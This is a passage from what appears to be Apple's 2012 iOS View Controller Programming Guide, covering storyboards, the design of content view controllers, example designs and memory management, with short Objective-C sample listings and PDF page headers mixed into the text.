Working with View Controllers in Storyboards
2012-09-19 | © 2012 Apple Inc. All Rights Reserved.
39// Configure the new view controller here.
[self presentViewController:svc animated:YES completion:nil];
}
Listing 2-3 shows another frequently used technique. This example loads a new storyboard and instantiates
its initial view controller. It uses this view controller as the root view controller for a new window being placed
on an external screen. To display the returned window, your app calls the window’s makeKeyAndVisible
method.
Listing 2-3 Instantiating a view controller from a new storyboard
- (UIWindow*) windowFromStoryboard: (NSString*) storyboardName
onScreen: (UIScreen*) screen
{
UIWindow *window = [[UIWindow alloc] initWithFrame:[screen bounds]];
window.screen = screen;
UIStoryboard *storyboard = [UIStoryboard storyboardWithName:storyboardName
bundle:nil];
MainViewController *mainViewController = [storyboard
instantiateInitialViewController];
window.rootViewController = mainViewController;
// Configure the new view controller here.
return window;
}
Transitioning to a New Storyboard Requires a Programmatic Approach
Segues connect only scenes that are stored in the same storyboard. To display a view controller from another
storyboard, you must explicitly load the storyboard file and instantiate a view controller inside it.
There is no requirement that you create multiple storyboards in your app. Here, though, are a few cases where
multiple storyboards might be useful to you:
Using View Controllers in Your App
Working with View Controllers in Storyboards
2012-09-19 | © 2012 Apple Inc. All Rights Reserved.
40● You have a large programming team, with different portions of the user interface assigned to different
parts of the team. In this case, each subteam owns a storyboard limiting the number of team members
working on any specific storyboard’s contents.
● You purchased or created a library that predefines a collection of view controller types; the contents of
those view controllers are defined in a storyboard provided by the library.
● You have content that needs to be displayed on an external screen. In this case, you might keep all of the
view controllers associated with the alternate screen inside a separate storyboard. An alternative pattern
for the same scenario is to write a custom segue.
Containers Automatically Instantiate Their Children
When a container in a storyboard is instantiated, its children are automatically instantiated at the same time.
The children must be instantiated at the same time to give the container controller some content to display.
Similarly, if the child that was instantiated is also a container, its children are also instantiated, and so on, until
no more containment relationships can be traced to new controllers. If you place a content controller inside
a navigation controller inside a tab bar controller, when the tab bar is instantiated, the three controllers are
simultaneously instantiated.
The container and its descendants are instantiated before your view controller is called to configure them.
Your source view controller (or app delegate) can rely on all the children being instantiated. This instantiation
behavior is important, because your custom configuration code rarely configures the container(s). Instead, it
configures the content controllers attached to the container.
Instantiating a Non-Storyboard View Controller
To create a view controller programmatically without the use of the storyboard, you use Objective-C code to
allocate and initialize the view controller. You gain none of the benefits of storyboards, meaning you have to
implement additional code to configure and display the new view controller.
Displaying a View Controller’s Contents Programmatically
For a view controller’s content to be useful, it needs to be displayed on screen. There are several options for
displaying a view controller’s contents:
● Make the view controller the root view controller of a window.
● Make it a child of a visible container view controller.
● Present it from another visible view controller.
Using View Controllers in Your App
Instantiating a Non-Storyboard View Controller
2012-09-19 | © 2012 Apple Inc. All Rights Reserved.
41● Present it using a popover (iPad only).
In all cases, you assign the view controller to another object—in this case, a window, a view controller, or a
popover controller. This object resizes the view controller’s view and adds it to its own view hierarchy so that
it can be displayed.
Listing 2-4 showsthe most common case, which isto assign the view controller to a window. This code assumes
that a storyboard is not being used, so it performs the same steps that are normally done on your behalf by
the operating system: It creates a window and setsthe new controller asthe root view controller. Then it makes
the window visible.
Listing 2-4 Installing the view controller as a window’s root view controller
- (void)applicationDidFinishLaunching:(UIApplication *)application {
UIWindow *window = [[UIWindow alloc] initWithFrame:[[UIScreen mainScreen]
bounds]];
levelViewController = [[LevelViewController alloc] init];
window.rootViewController = levelViewController;
[window makeKeyAndVisible];
}
Important: Never install the view controller’s view into a view hierarchy directly. To present and manage
views properly, the system makes a note of each view (and its associated view controller) that you display.
It uses this information later to report view controller–related events to your app. For example, when the
device orientation changes, a window uses this information to identify the frontmost view controller and
notify it of the change. If you incorporate a view controller’s view into your hierarchy by other means, the
system may handle these events incorrectly.
If you are implementing your own custom container controller, you add another view controller’s view to
your own view hierarchy, but you also create a parent-child relationship first. This ensures that events are
delivered correctly. See “Creating Custom Container View Controllers” (page 111).
Using View Controllers in Your App
Displaying a View Controller’s Contents Programmatically
2012-09-19 | © 2012 Apple Inc. All Rights Reserved.
42Custom content view controllers are the heart of your app. You use them to present your app’s unique content.
All apps need at least one custom content view controller. Complex apps divide the workload between multiple
content controllers.
A view controller has many responsibilities. Some of these responsibilities are things that iOS requires the view
controller to do. Other responsibilities are things you assign to the view controller when you define its role in
your app.
Anatomy of a Content View Controller
The UIViewController class provides the fundamental infrastructure for implementing all custom view
controllers. You define a custom subclass of UIViewController. That subclass provides the necessary code to
populate views with data and respond to user actions. When you want to make adjustments to the default
behavior of the view controller, you override methods of the UIViewController class. Your view controller
may also interact with other UIKit classes to implement the behavior you want.
2012-09-19 | © 2012 Apple Inc. All Rights Reserved.
43
Creating Custom Content View ControllersFigure 3-1 shows some of the key objects associated directly with a content view controller. These are the
objectsthat are essentially owned and managed by the view controller itself. The view (accessible via the view
property) is the only object that must be provided, although most view controllers have additional subviews
attached to this view as well as custom objects containing the data they need to display.
Figure 3-1 Anatomy of a content view controller
View
View
View View
Content view controller
Custom data objects
When you design a new view controller, it potentially has many responsibilities. Some of those responsibilities
look inward, to the views and other objects it controls. Other responsibilities look outward to other controllers.
The following sections enumerate many of the common responsibilities for a view controller.
View Controllers Manage Resources
Some objects are instantiated when the view controller is initialized and are disposed of when your view
controller is released. Other objects, like views, are needed only when the view controller’s contents are visible
onscreen. As a result, view controllers use resources efficiently and should be prepared to release resources
when memory is scarce. Properly implementing this behavior in your app's view controllers makes it so your
app uses memory and other resources—such as CPU, GPU, and battery—more efficiently.
See “Resource Management in View Controllers” (page 56).
Creating Custom Content View Controllers
Anatomy of a Content View Controller
2012-09-19 | © 2012 Apple Inc. All Rights Reserved.
44View Controllers Manage Views
View controllers manage their view and its subviews, but the view’s frame—its position and size in its parent’s
view—is often determined by other factors, including the orientation of the device, whether or not the status
bar is visible and even how the view controller’s view is displayed in the window. Your view controller should
be designed to layout its view to fit the frame provided to it.
View management has other aspects as well. Your view controller is notified when its view is about to appear
and disappear from the screen. Your view controller can use this notification to perform other actions necessary
to its operation.
See “Resizing the View Controller’s Views” (page 69), “Supporting Multiple Interface Orientations” (page 74),
“Responding to Display-Related Notifications” (page 66).
View Controllers Respond to Events
Your view controller is often the central coordinating object for its views and controls. Typically, you design
your user interface so that controls send messages to the controller when a user manipulates them. Your view
controller is expected to handle the message, making any necessary changes to the views or data stored in
the view controller.
Your view controller also participates in the responder chain used to deliver events to your app. You can
override methodsin your view controller classto have it participate directly in event handling. View controllers
also are good objects to implement other behaviors—such as responding to system notifications, timers or
events specific to your app.
See “Using View Controllers in the Responder Chain” (page 72).
View Controllers Coordinate with Other Controllers
Although a view controller may create and manage many other objects, it does not usually need to expose
these objects publicly to inspection or modification. It may collaborate with other objects (especially other
view controllers), but it should expose the fewest number of properties and methods necessary to allow its
collaborators to communicate with it. Exposing too many implementation details in your view controller class
makes it difficult to modify your view controller’s implementation. Collaborators that rely on these
implementation details would need to be modified to continue to work with your view controller class.
See “Coordinating Efforts Between View Controllers” (page 98).
Creating Custom Content View Controllers
Anatomy of a Content View Controller
2012-09-19 | © 2012 Apple Inc. All Rights Reserved.
45View Controllers Often Work with Containers
If your view controller is placed inside a container view controller, the container imposes additional constraints,
as shown in Figure 3-2. The container may ask your view controller to provide other objects used to configure
the container’s user interface. For example, a content view controller placed inside a tab view controller provides
a tab bar item to display for that tab.
Figure 3-2 A container view controller imposes additional demands on its children
The properties used to configure the containers provided by UIKit are defined by the UIViewController
class. For more information on specific types of containers and the properties you configure to support them,
see View Controller Catalog for iOS .
View Controllers May Be Presented by Other View Controllers
Some view controllers you design are intended to be presented by other view controllers. You might present
your view controller directly, or you might make it a child of a container view controller and present the
container instead. When presented, it moves onscreen, remaining there until it is dismissed.
There are several reasons you might present a view controller:
Creating Custom Content View Controllers
Anatomy of a Content View Controller
2012-09-19 | © 2012 Apple Inc. All Rights Reserved.
46● To gather information from the user immediately.
● To present some content temporarily.
● To change work modes temporarily.
● To implement alternate interfaces for different device orientations.
● To present a new view hierarchy with a specific type of animated transition (or no transition).
Most of these reasons involve interrupting your app’s workflow temporarily in order to gather or display some
information. In almost all cases, the presented view controller implements a delegate. The presented view
controller uses the delegate to communicate with the presenting view controller. After your app has the
information it needs (or the user finishes viewing the presented information), the presented view controller
communicates this back to the presenting view controller. The presenting view controller dismisses the
presented view controller to return the app to its previous state.
See “Presenting View Controllers from Other View Controllers” (page 88).
Designing Your Content View Controller
Before writing any code in your view controller, you should be able to answer some basic questions about
how you intend to use it. The questions provided below are designed to help you narrow the focus of your
view controller and to help you understand the role it plays in your app. In particular, it helps you identify
connections—usually to other controllers—your view controller needs to perform its tasks.
● Are you using a storyboard to implement the view controller?
● When is it instantiated?
● What data does it show?
● What tasks does it perform?
● How is its view displayed onscreen?
● How does it collaborate with other view controllers?
Your answers to these questions need not be precise if you are still working out the role it plays. Still, it helps
to have a general sense of what your view controller does and how other objects interact with it.
The questions above don’t ask you to define the appearance of your view controller or to be precise about the
implementation details of how it performs the tasks you’ve assigned to it. Those are important questions you
need to answer, but neither of these things should affect your view controller’s public interface. You want the
flexibility to be able to change the visual design of your view controller without changing the class declaration
that defines how other controllers collaborate with it.
Creating Custom Content View Controllers
Designing Your Content View Controller
2012-09-19 | © 2012 Apple Inc. All Rights Reserved.
47Use a Storyboard to Implement Your View Controller
You might consider whether or not to use a storyboard as an implementation detail, but the approach you
take affects how you implement the view controller and how other objects collaborate with it. You always use
a storyboard unless you have a strong reason not to.
When you use storyboards:
●
iOS usually instantiates your view controller for you automatically.
● To finish instantiating it, you override its awakeFromNib method.
● Other objects configure it through its properties.
● You create its view hierarchy and other related objects in Interface Builder. These objects are loaded
automatically when the view is needed.
● Relationships with other view controllers are created in the storyboard.
If you design your view controller to be used programmatically:
● The view controller is instantiated by allocating and initializing it.
● You create an custom initialization method to initialize the view controller.
● Other objects configure the view controller using itsinitialization method and by configuring its properties.
● You override the loadView method to programmatically create and configure its view hierarchy.
● Relationships with other view controllers are created by writing code.
Know When Your Controller Is Instantiated
Knowing when your view controller is instantiated usually implies other details for how your app operates. For
example, you might know that your view controller is alwaysinstantiated by the same object. Often the objects
that instantiate view controllers are themselves view controllers; this is almost always the case in an app that
uses storyboards. In any case, knowing when, why, and by what object your view controller is instantiated
gives you insight into the information exchanged between your view controller and the object that created
it.
Know What Data Your View Controller Shows and Returns
When you answer these two questions, you are working to understand the data model for your app and also
whether that data needs to be exchanged between your view controllers.
Here are some common patterns you should expect to see in your view controllers:
Creating Custom Content View Controllers
Designing Your Content View Controller
2012-09-19 | © 2012 Apple Inc. All Rights Reserved.
48● The view controller receives data from another controller and displays it, without offering a way to edit
it. No data is returned.
● The view controller allows the user to enter new data. After the user finishes editing the data, it sends the
new data to another controller.
● The view controller receives data from another controller and allows the user to edit it. After the user
finishes editing the data, it sends the new data to another controller.
● The view controller doesn’t send or receive data. Instead, it shows static views.
● The view controller doesn’tsend or receive data. Instead, itsimplementation loadsits data without exposing
this mechanism to other view controllers. For example, the GKAchievementViewController class has
built-in functionality to determine which player is authenticated on the device. It also knows how to load
that player’s data from Game Center. The presenting view controller does not need to know what data is
loaded or how it was loaded.
You are not constrained to use only these designs.
When data travels into or out of your view controller, consider defining a data model class to hold the data to
be transferred to the new controller. For example, in Your Second iOS App: Storyboards, the master controller
uses a BirdSighting object to send data associated with a sighting to the detail controller. Using an object
for this makes it easier to update the data to include additional properties without changing the method
signatures in your controller classes.
Know What Tasks Your Controller Allows the User to Perform
Some view controllers allow users to view, create, or edit data. Other view controllers allow users to navigate
to otherscreens of content. And some allow usersto perform tasks provided by the view controller. For example,
the MFMailComposeViewController class allows a user to compose and send emails to other users. It
handles the low-level details of sending mail messages.
As you determine which tasks your view controller performs, decide how much control over those tasks your
view controller exposes to other controllers. Many view controllers can perform tasks without exposing
configuration data to other controllers. For example, the GKAchievementViewController class displays
achievements to the user without exposing any properties to configure how it loads or presents its data. The
MFMailComposeViewController class presents a slightly different scenario by exposing some properties
that another controller can use to configure the initial content it displays. After that, a user can edit the content
and send the email message without giving other controller objects a chance to affect that process.
Creating Custom Content View Controllers
Designing Your Content View Controller
2012-09-19 | © 2012 Apple Inc. All Rights Reserved.
49Know How Your View Controller Is Displayed Onscreen
Some view controllers are designed to be root view controllers. Others expect to be presented by another
view controller or placed in a container controller. Occasionally, you design controllers that can be displayed
in multiple ways. For example, a split view controller’s master view is displayed in the split view in landscape
mode and in a popover control in portrait mode.
Knowing how your view controller is displayed gives you insight into how its view issized and placed onscreen.
It also affects other areas, such as determining what other controllers your view controller collaborates with.
Know How Your Controller Collaborates with Other Controllers
By this point, you already know some things about collaboration. For example, if your view controller is
instantiated from a segue, then it probably collaborates with the source view controller that configures it. And
if your controller is a child of a container, then it collaborates with the container. But there are relationships in
the other direction as well. For example, your view controller might defer some of its work and hand it off to
another view controller. It might even exchange data with an existing view controller.
With all of these connections, your view controller provides an interface that other controllers use, or it is aware
of other controllers and it uses their interfaces. These connections are essential to providing a seamless
experience, but they also represent design challenges because they introduce dependencies between classes
in your app. Dependencies are a problem because they make it more difficult to change any one class in
isolation from the other classes that make up your app. For this reason, you need to balance the needs of your
app now against the potential need to keep your app design flexible enough to change later.
Examples of Common View Controller Designs
Designing a new view controller can be challenging. It helps to look at existing designs and understand what
they do and why. This next section talks about some common view controller styles used in iOS apps. Each
example includes a description of the role the view controller plays, a brief description of how it works at a
high level, and one possible list of answers to the design questions listed above.
Example: Game Title Screen
Mission Statement
A view controller that allows the user to select between different styles of game play.
Creating Custom Content View Controllers
Examples of Common View Controller Designs
2012-09-19 | © 2012 Apple Inc. All Rights Reserved.
50Description
When a game is launched, it rarely jumps right into the actual game. Instead, it displays a title screen that
identifies the game and presents a set of game variants to the player. For example, a game might offer buttons
that allow a player to start a single player or multiplayer game. When the user selects one of the options, the
app configures itself appropriately and launches into its gameplay.
A title screen is interesting specifically because its contents are static; they don’t need data from another
controller. As such, this view controller is almost entirely self-sufficient. It does, however, know about other
view controllers, because it instantiates other view controllers to launch its gameplay.
Design
● Are you using a storyboard to implement the view controller? Yes.
● When is it instantiated? This view controller is the initial scene in the main storyboard.
● What data does it show? This class displays preconfigured controls and images; it does not present user
data. It does not include configurable properties.
● What tasks does it perform? When a user taps on a button, it triggers a segue to instantiate another view
controller. Each segue is identified so that the appropriate game play can be configured.
● How is its view displayed onscreen? It isinstalled automatically asthe root view controller of the window.
● How does it collaborate with other view controllers? It instantiates another view controller to present
a gameplay screen. When gameplay ends, the other view controller sends a message to the title screen
controller to inform it that play has ended. The title screen controller then dismisses the other view
controller.
Alternative Design Considerations
The default answers assume that no user data is displayed. Some games include player data to configure the
views or controls. For example:
● You might want the view controller to display the user’s Game Center alias.
● You might want it to enable or disable buttons based on whether the device is connected to Game Center.
● You might want it to enable or disable buttons based on In-App Purchase items the user has purchased.
When these additional items are added to the design, the view controller takes on a more traditional role. It
might receive data objects or data controllers from the app delegate so that it can query and update this state
as necessary. Or, as it is the root view controller for the window, you might simply implement those behaviors
directly in the title screen controller. The actual design likely depends on how flexible you need your code to
be.
Creating Custom Content View Controllers
Examples of Common View Controller Designs
2012-09-19 | © 2012 Apple Inc. All Rights Reserved.
51Example: Master View Controller
Mission Statement
The initial view controller of a navigation controller, used to display a list of the app’s available data objects.
Description
A master view controller is a very common part of a navigation-based app. For example, Your Second iOS App:
Storyboards uses a master view to display the list of bird sightings. When a user selects a sighting from the
list, the master view controller pushes a new detail controller onto the screen.
Because this view controller displays a list of items, it subclasses UITableViewController instead of
UIViewController.
Design
● Are you using a storyboard to implement the view controller? Yes.
● When is it instantiated? Asthe root view controller of a navigation controller, it isinstantiated at the same
time as its parent.
● What data does it show? A high-level view of the app’s data. It implements properties that the app
delegate uses to provide data to it. For example, the bird watching app provides a custom data controller
object to the master view controller.
● What tasks does it perform? It implements an Add button to allow users to create new records.
● How is its view displayed onscreen? It is a child of a navigation controller.
● How does it collaborate with other view controllers? When the user taps on an item in the list, it uses
a push segue to show a detail controller. When the user taps on the Add button, it uses a modal segue to
present a new view controller that edits a new record. It receives data back from this modal view controller
and sends this data to the data controller to create a new bird sighting.
Alternative Design Considerations
A navigation controller and an initial view controller is used when building an iPhone app. When designing
the same app for the iPad, the master view controller is a child of a split view controller instead. Most other
design decisions stay the same.
Creating Custom Content View Controllers
Examples of Common View Controller Designs
2012-09-19 | © 2012 Apple Inc. All Rights Reserved.
52Example: Detail View Controller
Mission Statement
A controller pushed onto a navigation stack to display the details for a list item selected from the master view
controller.
Description
The detail view controller represents a more detailed view of a list item displayed by the master view controller.
As with the master view controller, the list appears inside a nav bar interface. When the user finishes viewing
the item they click a button in the nav bar to return to the master view.
Your Second iOS App: Storyboards uses the UITableViewController class to implement its detail view. It
uses a static table cells, each of which accesses one piece of the bird sighting data. A static table view is a good
way to implement this design.
Design
● Are you using a storyboard to implement the view controller? Yes.
● When is it instantiated? It is instantiated by a push segue from the master view controller.
● What data does it show? Itshowsthe data stored in a custom data object. It declares properties configured
by the source view controller to provide this data.
● What tasks does it perform? It allows the user to dismiss the view.
● How is its view displayed onscreen? It is a child of a navigation controller.
● How does it collaborate with other view controllers? It receives data from the master view controller.
Alternative Design Considerations
A navigation controller is most often used when building an iPhone app. When designing the same app for
the iPad, the detail view controller is a child of a split view controller instead. Many of the other implementation
details stay the same.
If your app needs more custom view behavior, it mightsubclassthe UIViewController class and implement
its own custom view hierarchy.
Creating Custom Content View Controllers
Examples of Common View Controller Designs
2012-09-19 | © 2012 Apple Inc. All Rights Reserved.
53Example: Mail Compose View Controller
Mission Statement
A view controller that allows the user to compose and send an email.
Description
The Message UI framework provides the MFMailComposeViewController class. This class allows a user to
compose and send an email. This view controller is interesting because it does more than simply show or edit
data—it actually sends the email.
Another interesting design choice in this class is that it allows an app to provide an initial configuration for
the email message. After the initial configuration has been presented, the user can override these choices
before sending the mail.
Design
● Are you using a storyboard to implement the view controller? No.
● When is it instantiated? It is instantiated programmatically.
● What data does it show? It shows the various parts of an email message, including a recipients list, title,
attachments and the email message itself. The class provides propertiesthat allow another view controller
to preconfigure the email message.
● What tasks does it perform? It sends email.
● How is its view displayed onscreen? The view controller is presented by another view controller.
● How does it collaborate with other view controllers? It returns status information to its delegate. This
status allows the presenting view controller to know whether an email was sent.
Implementation Checklist for Custom Content View Controllers
For any custom content view controllers you create, there are a few tasks that you must have your view
controller handle:
● You must configure the view to be loaded by your view controller.
Your custom class may need to override specific methods to manage how its view hierarchy is loaded and
unloaded. These same methods might manage other resources that are created at the same time. See
“Resource Management in View Controllers” (page 56).
Creating Custom Content View Controllers
Implementation Checklist for Custom Content View Controllers
2012-09-19 | © 2012 Apple Inc. All Rights Reserved.
54● You must decide which device orientations your view controller supports and how it reacts to a change
in device orientation; see “Supporting Multiple Interface Orientations” (page 74).
As you implement your view controller, you will likely discover that you need to define action methods or
outlets to use with its views. For example, if the view hierarchy contains a table, you probably want to store a
pointer to that table in an outletso that you can accessit later. Similarly, if your view hierarchy contains buttons
or other controls, you probably want those controls to call an associated action method on the view controller.
As you iterate through the definition of your view controller class, you may therefore find that you need to add
the following items to your view controller class:
● Declared properties pointing to the objects containing the data to be displayed by the corresponding views
● Public methods and propertiesthat expose your view controller’s custom behavior to other view controllers
● Outlets pointing to views in the view hierarchy with which your view controller must interact
● Action methods that perform tasks associated with buttons and other controls in the view hierarchy
Important: Clients of your view controller class do not need to know what views your view controller
displays or what actions those views might trigger. Whenever possible, outlets and actions should be
declared in a category inside your class’s implementation file. For example, if your class is named
MyViewController, you implement the category by adding the following declaration to
MyViewController.m:
@interface MyViewController()
// Outlets and actions here.
@end
@implementation MyViewController
// Implementation of the privately declared category must go here.
@end
When you declare a category without a name, the properties and actions must be implemented in the same
implementation block as any methods or properties declared in your public interface. The outlets and
actions defined in the private category are visible to Interface Builder, but not to other classes in your app.
This strategy allows you to gain the benefits of Interface Builder without exposing your class’s secrets.
If another class needs access to your view controller’s functionality, add public methods and properties to
access this functionality instead.
Creating Custom Content View Controllers
Implementation Checklist for Custom Content View Controllers
2012-09-19 | © 2012 Apple Inc. All Rights Reserved.
55View controllers are an essential part of managing your app’s resources. View controllers allow you to break
your app up into multiple parts and instantiate only the parts that are needed. But more than that, a view
controller itself manages different resources and instantiates them at different times. For example, a view
controller’s view hierarchy is instantiated only when the view is accessed; typically, this occurs only when the
view is displayed on screen. If multiple view controllers are pushed onto a navigation stack at the same time,
only the topmost view controller’s contents are visible, which means only its views are accessed. Similarly, if
a view controller is not presented by a navigation controller, it does not need to instantiate its navigation item.
By deferring most resource allocation until it is needed, view controllers use less resources.
When memory available to the app runs low, all view controllers are automatically notified by the system. This
allows the view controller to purge caches and other objects that can be easily recreated later when memory
is more plentiful. The exact behavior varies depending on which version of iOS your app is running on, and
this has implications for your view controller design.
Carefully managing the resources associated with your view controllers is critical to making your app run
efficiently. You should also prefer lazy allocation; objects that are expensive to create or maintain should be
allocated later and only when needed. For this reason, your view controllers should separate objects needed
throughout the lifetime of the view controller from objects that are only necessary some of the time. When
your view controller receives a low-memory warning, it should be prepared to reduce its memory usage if it
is not visible onscreen.
Initializing a View Controller
When a view controller is first instantiated, it creates or loads objects it needs through its lifetime. It should
not create its view hierarchy or objects associated with displaying content. It should focus on data objects and
objects needed to implement its critical behaviors.
Initializing a View Controller Loaded from a Storyboard
When you create a view controller in a storyboard, the attributes you configure in Interface Builder are serialized
into an archive. Later, when the view controller isinstantiated, this archive isloaded into memory and processed.
The result is a set of objects whose attributes match those you set in Interface Builder. The archive is loaded
2012-09-19 | © 2012 Apple Inc. All Rights Reserved.
56
Resource Management in View Controllersby calling the view controller’s initWithCoder: method. Then, the awakeFromNib method is called on any
object that implements that method. You use this method to perform any configuration steps that require
other objects to already be instantiated.
For more on archiving and archiving, see Archives and Serializations Programming Guide .
Initializing View Controllers Programmatically
If a view controller allocatesitsresources programmatically, create a custom initialization method that isspecific
to your view controller. This method should call the super class’s init method and then perform any class
specific initialization.
In general, do not write complex initialization methods. Instead, implement a simple initialization method and
then provide properties for clients of your view controller to configure its behaviors.
A View Controller Instantiates Its View Hierarchy When Its View is
Accessed
Whenever some part of your app asks the view controller for its view object and that object is not currently in
memory, the view controller loads the view hierarchy into memory and stores it in its view property for future
reference. The steps that occur during the load cycle are:
1. The view controller calls its loadView method. The default implementation of the loadView method
does one of two things:
●
If the view controller is associated with a storyboard, it loads the views from the storyboard.
●
If the view controller is not associated with a storyboard, an empty UIView object is created and
assigned to the view property.
2. The view controller callsits viewDidLoad method, which enables yoursubclassto perform any additional
load-time tasks.
Resource Management in View Controllers
A View Controller Instantiates Its View Hierarchy When Its View is Accessed
2012-09-19 | © 2012 Apple Inc. All Rights Reserved.
57Figure 4-1 shows a visual representation of the load cycle, including several of the methods that are called.
Your app can override both the loadView and the viewDidLoad methods as needed to facilitate the behavior
you want for your view controller. For example, if your app does not use storyboards but you want additional
views to be added to the view hierarchy, you override the loadView method to instantiate these views
programatically.
Figure 4-1 Loading a view into memory
Resource Management in View Controllers
A View Controller Instantiates Its View Hierarchy When Its View is Accessed
2012-09-19 | © 2012 Apple Inc. All Rights Reserved.
58Loading a View Controller’s View from a Storyboard
Most view controllersload their view from an associated storyboard. The advantage of using storyboardsisthat
they allow you to lay out and configure your views graphically, making it easier and faster to adjust your layout.
You can iterate quickly through different versions of your user interface to end up with a polished and refined
design.
Creating the View in Interface Builder
Interface Builder is part of Xcode and provides an intuitive way to create and configure the views for your view
controllers. Using Interface Builder, you assemble views and controls by manipulating them directly, dragging
them into the workspace, positioning them, sizing them, and modifying their attributes using an inspector
window. The results are then saved in a storyboard file, which stores the collection of objects you assembled
along with information about all the customizations you made.
Configuring the View Display Attributes in Interface Builder
To help you layout the contents of your view properly, Interface Builder provides controls that let you specify
whether the view has a navigation bar, a toolbar, or other objectsthat might affect the position of your custom
content. If the controller is connected to container controllersin the storyboard, it can infer these settingsfrom
the container, making it easier to see exactly how it should appear at runtime.
Configuring Actions and Outlets for Your View Controller
Using Interface Builder, you create connections between the views in your interface and your view controller.
Listing 4-1 shows the declaration of a custom MyViewController class’s two custom outlets (designated by
the IBOutlet keyword) and a single action method (designated by the IBAction return type). The declarations
are made in a category inside the implementation file. The outlets store references to a button and a text field
in the storyboard, while the action method responds to taps in the button.
Listing 4-1 Custom view controller class declaration
@interface MyViewController()
@property (nonatomic) IBOutlet id myButton;
@property (nonatomic) IBOutlet id myTextField;
- (IBAction)myAction:(id)sender;
@end
Resource Management in View Controllers
A View Controller Instantiates Its View Hierarchy When Its View is Accessed
2012-09-19 | © 2012 Apple Inc. All Rights Reserved.
59Figure 4-2 shows the connections you would create among the objects in such a MyViewController class.
Figure 4-2 Connections in the storyboard
When the previously configured MyViewController class is created and presented, the view controller
infrastructure automatically loads the views from the storyboard and reconfigures any outlets or actions. Thus,
by the time the view is presented to the user, the outlets and actions of your view controller are set and ready
to be used. This ability to bridge between your runtime code and your design-time resource files is one of the
things that makes storyboards so powerful.
Creating a View Programmatically
If you prefer to create views programmatically, instead of using a storyboard, you do so by overriding your view
controller’s loadView method. Your implementation of this method should do the following:
1. Create a root view object.
The root view contains all other views associated with your view controller. You typically define the frame
for this view to match the size of the app window, which itself should fill the screen. However, the frame
is adjusted based on how your view controller is displayed. See “Resizing the View Controller’s Views” (page
69).
You can use a generic UIView object, a custom view you define, or any other view that can scale to fill
the screen.
2. Create additional subviews and add them to the root view.
Resource Management in View Controllers
A View Controller Instantiates Its View Hierarchy When Its View is Accessed
2012-09-19 | © 2012 Apple Inc. All Rights Reserved.
60For each view, you should:
a. Create and initialize the view.
b. Add the view to a parent view using the addSubview: method.
3. If you are using auto layout, assign sufficient constraints to each of the views you just created to control
the position and size of your views. Otherwise, implement the viewWillLayoutSubviews and
viewDidLayoutSubviews methods to adjust the frames of the subviews in the view hierarchy. See
“Resizing the View Controller’s Views” (page 69).
4. Assign the root view to the view property of your view controller.
Listing 4-2 shows an example implementation of the loadView method. This method creates a pair of custom
views in a view hierarchy and assigns them to the view controller.
Listing 4-2 Creating views programmatically
- (void)loadView
{
CGRect applicationFrame = [[UIScreen mainScreen] applicationFrame];
UIView *contentView = [[UIView alloc] initWithFrame:applicationFrame];
contentView.backgroundColor = [UIColor blackColor];
self.view = contentView;
levelView = [[LevelView alloc] initWithFrame:applicationFrame
viewController:self];
[self.view addSubview:levelView];
}
Note: When overriding the loadView method to create your views programmatically, you should
not call super. Doing so initiates the default view-loading behavior and usually just wastes CPU
cycles. Your own implementation of the loadView method should do all the work that is needed
to create a root view and subviewsfor your view controller. For more information on the view loading
process, see “A View Controller Instantiates Its View Hierarchy When Its View is Accessed” (page 57).
Managing Memory Efficiently
When it comes to view controllers and memory management, there are two issues to consider:
● How to allocate memory efficiently
Resource Management in View Controllers
Managing Memory Efficiently
2012-09-19 | © 2012 Apple Inc. All Rights Reserved.
61● When and how to release memory
Although some aspects of memory allocation are strictly yours to decide, the UIViewController class
provides some methods that usually have some connection to memory management tasks. Table 4-1 lists the
places in your view controller object where you are likely to allocate or deallocate memory, along with
information about what you should be doing in each place.
Table 4-1 Places to allocate and deallocate memory
Task Methods Discussion
Your custom initialization method (whether it is
named init or something else) is always
responsible for putting your view controller object
in a known good state. This includes allocating
whatever data structures are needed to ensure
proper operation.
Allocating critical Initialization methods
data structures
required by your
view controller
Overriding the loadView method is required only
if you intend to create your views programmatically.
If you are using storyboards, the views are loaded
automatically from the storyboard file.
Creating your view loadView
objects
Although you are free to use other designs, consider
using a pattern similar the loadView method.
Create a property that holds the method and a
matched method to initialize the object. When the
property is read and its value is nil, call the
associated load method.
Custom properties
and methods
Creating custom
objects
Data objects are typically provided by configuring
your view controller’s properties. Any additional data
objects your view controller wants to create should
be done by overriding the viewDidLoad method.
By the time this method is called, your view objects
are guaranteed to exist and to be in a known good
state.
Allocating or viewDidLoad
loading data to be
displayed in your
view
Use this method to deallocate all noncritical objects
associated with your view controller. On iOS 6, you
can also use this method to release references to
view objects.
didReceiveMemoryWarning
Responding to
low-memory
notifications
Resource Management in View Controllers
Managing Memory Efficiently
2012-09-19 | © 2012 Apple Inc. All Rights Reserved.
62Task Methods Discussion
Override this method only to perform any
last-minute cleanup of your view controller class.
Objects stored in instance variables and properties
are automatically released; you do not need to
release them explicitly.
Releasing critical dealloc
data structures
required by your
view controller
On iOS 6 and Later, a View Controller Unloads Its Own Views When Desired
The default behavior for a view controller is to load its view hierarchy when the view property is first accessed
and thereafter keep it in memory until the view controller is disposed of. The memory used by a view to draw
itself onscreen is potentially quite large. However, the system automatically releasesthese expensive resources
when the view is not attached to a window. The remaining memory used by most views is small enough that
it is not worth it for the system to automatically purge and recreate the view hierarchy.
You can explicitly release the view hierarchy if that additional memory is necessary for your app. Listing 4-3
overrides the didReceiveMemoryWarning method to accomplish this. First, is calls the superclass’s
implementation to get any required default behavior. Then, it cleans up the view controller’s resources. Finally,
it teststo see if the view controller’s view is not onscreen. If the view is associated with a window, then it cleans
up any of the view controller’s strong references to the view and its subviews. If the views stored data that
needs to be recreated, the implementation of this method should save that data before releasing any of the
references to those views.
Listing 4-3 Releasing the views of a view controller not visible on screen
- (void)didReceiveMemoryWarning
{
[super didReceiveMemoryWarning];
// Add code to clean up any of your own resources that are no longer necessary.
if ([self.view window] == nil)
{
// Add code to preserve data stored in the views that might be
// needed later.
// Add code to clean up other strong references to the view in
// the view hierarchy.
self.view = nil;
}
Resource Management in View Controllers
Managing Memory Efficiently
2012-09-19 | © 2012 Apple Inc. All Rights Reserved.
63The next time the view property is accessed, the view is reloaded exactly as it was the first time.
On iOS 5 and Earlier, the System May Unload Views When Memory Is Low
In earlier versions of iOS, the system automatically attempts to unload a view controller’s views when memory
is low. The steps that occur during the unload cycle are as follows:
1. The app receives a low-memory warning from the system.
2. Each view controller calls its didReceiveMemoryWarning method. If you override this method, you
should use it to release any memory or objects that your view controller object no longer needs. You must
